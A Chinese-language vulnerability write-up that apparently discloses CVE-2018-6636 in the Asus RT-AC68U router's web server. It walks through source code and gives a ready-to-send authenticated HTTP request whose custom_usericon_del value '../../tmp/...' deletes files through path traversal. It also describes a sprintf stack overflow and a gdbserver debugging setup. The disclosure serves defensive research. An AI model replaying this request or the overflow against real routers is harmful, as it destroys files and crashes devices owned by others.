Asuswrt RT-AC68U 华硕路由器文件删除漏洞 && 栈溢出

周末公司举办了技术团建,对路由器挺感兴趣的,挖到一枚漏洞,感谢杨博士的指导。已申请为CVE-2018-6636
软广一波~233333,想加入chaitin可以邮件联系我

源代码: https://github.com/Shonk/asuswrt/blob/d288a9cd0ddbe77b0f930c35ec0c061e78878ca4/release/src/router/httpd/web.c

void del_upload_icon(char *value) {
	char *buf, *g, *p;
	char filename[32];
	memset(filename, 0, 32);

	g = buf = strdup(value);
	while (buf) {
		if ((p = strsep(&g, ">")) == NULL) break;

		if(strcmp(p, "")) {
			sprintf(filename, "/jffs/usericon/%s.log", p);
			//Delete exist file
			if(check_if_file_exist(filename)) {
				unlink(filename);
			}
		}
	}
	free(buf);
}

发现有一个unlink,在这个函数里面未有一些过滤,查看函数的调用

static int validate_apply(webs_t wp, json_object *root) {
...省略
else if(!strcmp(name, "custom_usericon_del")) {
	(void)del_upload_icon(value);
	nvram_set(name, "");
	nvram_modified = 1;
}
...省略
}

发现对用户的图片进行删除的时候回调用del_upload_icon函数,对validate_apply函数的调用进行查看

apply_cgi(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
		char_t *url, char_t *path, char_t *query)
{	
	省略...
	if (!strcmp(action_mode, "apply")) {
		if (!validate_apply(wp,root)) {
			websWrite(wp, "NOT MODIFIED\n");
		}
		else {
			websWrite(wp, "MODIFIED\n");
		}

		action_para = get_cgi_json("rc_service",root);

		if(action_para && strlen(action_para) > 0) {
			notify_rc(action_para);
		}
		websWrite(wp, "RUN SERVICE\n");
	}
	省略...
}

可以看到apply_cgi最后是进行了调用

漏洞复现

此漏洞是/jffs/usericon/%s.log,其中%s可控,而且整个过程并未有一些检测操作,所以可以造成跨目录删除log文件

HTTP包(需要用户登录)

POST /start_apply2.htm HTTP/1.1
Host: 192.168.1.1
Content-Length: 191
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Referer: http://192.168.1.1/start_apply2.htm
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: traffic_warning_0=2018.1:1; wireless_list_9C:5C:8E:8B:D5:B0_temp=<40:C6:2A:8D:3C:06>Yes<00:28:F8:CE:48:98>Yes<DC:A9:04:82:D7:32>Yes<8C:85:90:35:83:BA>Yes<94:65:2D:A0:91:D8>Yes<AC:BC:32:90:2C:AF>Yes<BC:54:36:07:30:71>Yes; demo=1; nwmapRefreshTime=1517641501975; maxBandwidth=100; hwaddr=9C:5C:8E:8B:D5:B0; apps_last=; clock_type=1; bw_rtab=WIRED; clickedItem_tab=0; asus_token=a4coFDlYKDcnGnuNTBf8qyMGVj1457U
Connection: close

current_page=index.asp&next_page=index.asp&modified=0&flag=background&action_mode=apply&action_script=saveNvram&action_wait=1&custom_clientlist=&custom_usericon=&custom_usericon_del=../../tmp/l3m0ntest

栈溢出

回过头来看del_upload_icon函数,其实漏洞较简单,但是平时挖洞都是web思维。

void del_upload_icon(char *value) {
	char *buf, *g, *p;
	char filename[32];
	memset(filename, 0, 32);

	g = buf = strdup(value);
	while (buf) {
		if ((p = strsep(&g, ">")) == NULL) break;

		if(strcmp(p, "")) {
			sprintf(filename, "/jffs/usericon/%s.log", p);
			//Delete exist file
			if(check_if_file_exist(filename)) {
				unlink(filename);
			}
		}
	}
	free(buf);
}

可以看到filename设置的大小为32,p期间并没有做任何的长度校验,发送超长字符,进入sprintf的时候会导致栈溢出

发现httpd服务crash,然后接着就重启.

gdb server远程调试

记录一下一些调试

https://github.com/mzpqnxow/embedded-toolkit

找一个编译好的gdbserver,自己编译出了太多问题了

然后本地再编译一下gdb,注意需要交叉编译

./configure --target=arm-linux --prefix=$PWD/installed -v
make
make install

期间make出现报错: no termcap library found
wget http://ftp.gnu.org/gnu/termcap/termcap-1.3.1.tar.gz
./configure && make && make install
cp termcap.h /usr/include/ && cp libtermcap.a /usr/lib/

gdbserver:

gdbserver IP:PORT --attach PID
gdbserver 192.168.50.1:23333 --attach 3840

gdb:

target remote 192.168.50.1:23333
posted @ 2018-02-07 17:26  l3m0n  阅读(2602)  评论(1编辑  收藏